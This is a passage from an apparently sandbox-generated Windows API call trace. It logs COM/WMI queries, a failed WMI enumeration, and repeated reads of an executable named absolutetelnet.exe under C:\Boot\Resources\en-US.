This=0x1b292ea0, puCount=0x1db9d9c8 | out: puCount=0x1db9d9c8*=0x2) returned 0x0 [0187.843] WbemDefPath:IWbemPath:GetText (in: This=0x1b292ea0, lFlags=4, puBuffLength=0x1db9d9c0*=0x0, pszText=0x0 | out: puBuffLength=0x1db9d9c0*=0x11, pszText=0x0) returned 0x0 [0187.843] WbemDefPath:IWbemPath:GetText (in: This=0x1b292ea0, lFlags=4, puBuffLength=0x1db9d9c0*=0x11, pszText="0000000000000000" | out: puBuffLength=0x1db9d9c0*=0x11, pszText="\\\\.\\root\\DEFAULT") returned 0x0 [0187.843] CoGetContextToken (in: pToken=0x1db9d610 | out: pToken=0x1db9d610) returned 0x0 [0187.843] IUnknown:AddRef (This=0x1b286080) returned 0x3 [0187.843] IEnumWbemClassObject:Clone (in: This=0x1b286080, ppEnum=0x1db9da10 | out: ppEnum=0x1db9da10*=0x1b2861d0) returned 0x0 [0187.846] IUnknown:QueryInterface (in: This=0x1b2861d0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9d798 | out: ppvObject=0x1db9d798*=0x1b2861d8) returned 0x0 [0187.846] IClientSecurity:QueryBlanket (in: This=0x1b2861d8, pProxy=0x1b2861d0, pAuthnSvc=0x1db9d860, pAuthzSvc=0x1db9d7e0, pServerPrincName=0x1db9d808, pAuthnLevel=0x1db9d7e4, pImpLevel=0x1db9d7f0, pAuthInfo=0x1db9d818, pCapabilites=0x1db9d7f4 | out: pAuthnSvc=0x1db9d860*=0xa, pAuthzSvc=0x1db9d7e0*=0x0, pServerPrincName=0x1db9d808, pAuthnLevel=0x1db9d7e4*=0x6, pImpLevel=0x1db9d7f0*=0x2, pAuthInfo=0x1db9d818, pCapabilites=0x1db9d7f4*=0x1) returned 0x0 [0187.846] IUnknown:Release (This=0x1b2861d8) returned 0x1 [0187.846] IUnknown:QueryInterface (in: This=0x1b2861d0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9d730 | out: ppvObject=0x1db9d730*=0x1b2021b8) returned 0x0 [0187.846] IUnknown:QueryInterface (in: This=0x1b2861d0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9d740 | out: ppvObject=0x1db9d740*=0x1b2861d8) returned 0x0 [0187.846] IClientSecurity:SetBlanket (This=0x1b2861d8, pProxy=0x1b2861d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0187.850] IUnknown:Release (This=0x1b2861d8) returned 0x2 [0187.850] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x1 [0187.851] CoTaskMemFree (pv=0x1b2803d0) [0187.851] IUnknown:QueryInterface (in: This=0x1b2861d0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9d1f0 | out: ppvObject=0x1db9d1f0*=0x1b2021b8) returned 0x0 [0187.851] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1db9d280 | out: ppvObject=0x1db9d280*=0x0) returned 0x80004002 [0187.852] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1db9cea0 | out: ppvObject=0x1db9cea0*=0x0) returned 0x80004002 [0187.853] IUnknown:QueryInterface (in: This=0x1b2861d0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1db9ca78 | out: ppvObject=0x1db9ca78*=0x0) returned 0x80004002 [0187.855] WbemLocator:IUnknown:AddRef (This=0x1b2021b8) returned 0x3 [0187.855] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1db9c938 | out: ppvObject=0x1db9c938*=0x0) returned 0x80004002 [0187.855] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1db9c8c0 | out: ppvObject=0x1db9c8c0*=0x0) returned 0x80004002 [0187.855] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9c8b0 | out: ppvObject=0x1db9c8b0*=0x1b202098) returned 0x0 [0187.855] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202098, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1db9c8d8 | out: pCid=0x1db9c8d8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0187.855] WbemLocator:IUnknown:Release (This=0x1b202098) returned 0x3 [0187.855] CoGetContextToken (in: pToken=0x1db9c960 | out: pToken=0x1db9c960) returned 0x0 [0187.856] CoGetContextToken (in: pToken=0x1db9cde0 | out: pToken=0x1db9cde0) returned 0x0 [0187.856] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9cea0 | out: ppvObject=0x1db9cea0*=0x1b202180) returned 0x0 [0187.856] WbemLocator:IRpcOptions:Query (in: This=0x1b202180, pPrx=0x1b2021b8, dwProperty=2, pdwValue=0x1db9ce90 | out: pdwValue=0x1db9ce90) returned 0x80004002 [0187.856] WbemLocator:IUnknown:Release (This=0x1b202180) returned 0x3 [0187.856] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x2 [0187.856] CoGetContextToken (in: pToken=0x1db9d4a0 | out: pToken=0x1db9d4a0) returned 0x0 [0187.856] CoGetContextToken (in: pToken=0x1db9d3a0 | out: pToken=0x1db9d3a0) returned 0x0 [0187.856] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x1db9d500*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1db9d4d0 | out: ppvObject=0x1db9d4d0*=0x1b2861d0) returned 0x0 [0187.856] IUnknown:AddRef (This=0x1b2861d0) returned 0x4 [0187.856] IUnknown:Release (This=0x1b2861d0) returned 0x3 [0187.857] IUnknown:Release (This=0x1b2861d0) returned 0x2 [0187.857] IUnknown:Release (This=0x1b286080) returned 0x2 [0187.857] SysStringLen (param_1=0x0) returned 0x0 [0187.857] IEnumWbemClassObject:Reset (This=0x1b2861d0) returned 0x0 [0188.105] CoTaskMemAlloc (cb=0x8) returned 0x1b24f9f0 [0188.105] IEnumWbemClassObject:Next (in: This=0x1b2861d0, lTimeout=-1, uCount=0x1, apObjects=0x1b24f9f0, puReturned=0x26b48c0 | out: apObjects=0x1b24f9f0*=0x0, puReturned=0x26b48c0*=0x0) returned 0x80042302 [0195.208] CoTaskMemFree (pv=0x1b24f9f0) [0195.211] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x1db9d9c0 | out: pperrinfo=0x1db9d9c0*=0x1b269788) returned 0x0 [0195.212] IUnknown:QueryInterface (in: This=0x1b269788, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1db9d718 | out: ppvObject=0x1db9d718*=0x0) returned 0x80004002 [0195.213] IErrorInfo:GetSource (in: This=0x1b269788, pBstrSource=0x1db9d7b0 | out: pBstrSource=0x1db9d7b0*="WinMgmt") returned 0x0 [0195.213] IErrorInfo:GetDescription (in: This=0x1b269788, pBstrDescription=0x1db9d7a8 | out: pBstrDescription=0x1db9d7a8*="") returned 0x0 [0195.213] IErrorInfo:GetHelpFile (in: This=0x1b269788, pBstrHelpFile=0x1db9d7b8 | out: pBstrHelpFile=0x1db9d7b8*=0x0) returned 0x0 [0195.213] IErrorInfo:GetHelpContext (in: This=0x1b269788, pdwHelpContext=0x1db9d7c0 | out: pdwHelpContext=0x1db9d7c0*=0x0) returned 0x0 [0195.213] IErrorInfo:GetGUID (in: This=0x1b269788, pGUID=0x1db9d7c4 | out: pGUID=0x1db9d7c4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7))) returned 0x0 [0195.213] IUnknown:QueryInterface (in: This=0x1b269788, riid=0x7ffb02989b30*(Data1=0x82ba7092, Data2=0x4c88, Data3=0x427d, Data4=([0]=0xa7, [1]=0xbc, [2]=0x16, [3]=0xdd, [4]=0x93, [5]=0xfe, [6]=0xb6, [7]=0x7e)), ppvObject=0x1db9d710 | out: ppvObject=0x1db9d710*=0x0) returned 0x80004002 [0195.213] IUnknown:Release (This=0x1b269788) returned 0x0 [0195.216] SysStringLen (param_1="") returned 0x0 [0195.216] SysStringLen (param_1="WinMgmt") returned 0x7 [0195.226] CoGetContextToken (in: pToken=0x1db99b20 | out: pToken=0x1db99b20) returned 0x0 [0195.226] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x1 [0195.226] IUnknown:Release (This=0x1b2861d0) returned 0x0 [0195.228] CoGetContextToken (in: pToken=0x1db99b20 | out: pToken=0x1db99b20) returned 0x0 [0195.228] WbemLocator:IUnknown:Release (This=0x1b202358) returned 0x1 [0195.228] IUnknown:Release (This=0x1b286080) returned 0x0 [0195.230] CoUninitialize () Thread: id = 238 os_tid = 0x13e0 [0187.453] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0187.453] RoInitialize () returned 0x1 [0187.453] RoUninitialize () returned 0x0 [0187.459] CoUninitialize () Thread: id = 239 os_tid = 0x112c [0187.684] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0187.684] RoInitialize () returned 0x1 [0187.684] RoUninitialize () returned 0x0 [0188.504] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", nBufferLength=0x105, lpBuffer=0x1dd9d880, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", lpFilePart=0x0) returned 0x2a [0188.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dd9dd60) returned 1 [0188.504] CreateFileW (lpFileName="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x988 [0188.504] GetFileType (hFile=0x988) returned 0x1 [0188.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dd9dcd0) returned 1 [0188.504] GetFileType (hFile=0x988) returned 0x1 [0188.504] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.505] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.506] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.506] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.506] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.506] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.506] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.506] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.506] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.507] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.507] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.507] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.507] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.507] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.507] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.507] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.507] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.508] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.508] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.508] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.508] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.508] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.508] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.508] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.508] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.509] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.509] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.509] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.509] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.509] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.509] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.509] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.510] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.510] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.510] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.510] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.511] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.512] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.512] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.512] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.512] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.512] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.512] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.512] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.513] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.513] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.513] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.513] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.513] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.513] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.513] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.514] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.514] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.514] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.514] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, 